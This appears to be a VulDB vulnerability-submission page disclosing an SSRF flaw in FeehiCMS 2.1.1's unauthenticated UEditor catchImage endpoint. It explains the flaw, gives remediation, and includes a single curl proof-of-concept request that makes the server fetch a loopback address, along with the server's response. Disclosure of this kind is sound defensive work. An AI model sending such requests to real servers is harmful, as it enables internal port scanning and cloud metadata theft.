| 标题 | liufee feehi cms 2.1.1 SSRF |
|---|
| 描述 | FeehiCMS 2.1.1 UEditor catchImage action is vulnerable to Server-Side Request Forgery (SSRF). The IP validation in backend/widgets/ueditor/Uploader.php:235 uses FILTER_FLAG_NO_PRIV_RANGE, which blocks private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) but does NOT block loopback (127.0.0.0/8) or link-local (x.x.x.x/16) addresses.
Because assets/* is whitelisted (no auth required), an attacker can force the server to send HTTP requests to its own loopback interface and scan internal ports.
Proof of Concept:
curl -s -m 8 -X POST "http://TARGET:18080/admin/index.php?r=assets/ueditor&action=catchimage" -d 'source[]=http://127.0.0.1:1/test.png'
Server response:
PHP Warning: get_headers(http://127.0.0.1:1/test.png): failed to open stream: Connection refused at Uploader.php:241
Control test with 10.0.0.1 returns "INVALID IP", proving 127.0.0.1 bypasses the filter.
Impact:
Internal port scanning, internal service access, cloud metadata exposure (x.x.x.x).
Remediation:
Use FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE, add 127.0.0.0/8 and x.x.x.x/16 blacklist, remove assets/* from allowActions.
References:
- https://github.com/liufee/cms
- https://github.com/liufee/cms/issues/95
- Full report: https://github.com/yang5ynag/cve/blob/main/FEHI-002-UEditor-catchImage-SSRF.md
- PoC: https://github.com/yang5ynag/cve/blob/main/poc_ssrf.py |
|---|
| 用户 | lyang (UID 100042) |
|---|
| 提交 | 2026-07-22 08時22分 (2 月前) |
|---|
| 管理 | 2026-09-06 10時59分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 399397 [liufee FeehiCMS 直到 2.1.1 UEditor Uploader.php catchImage source[] 权限提升] |
|---|
| 积分 | 17 |
|---|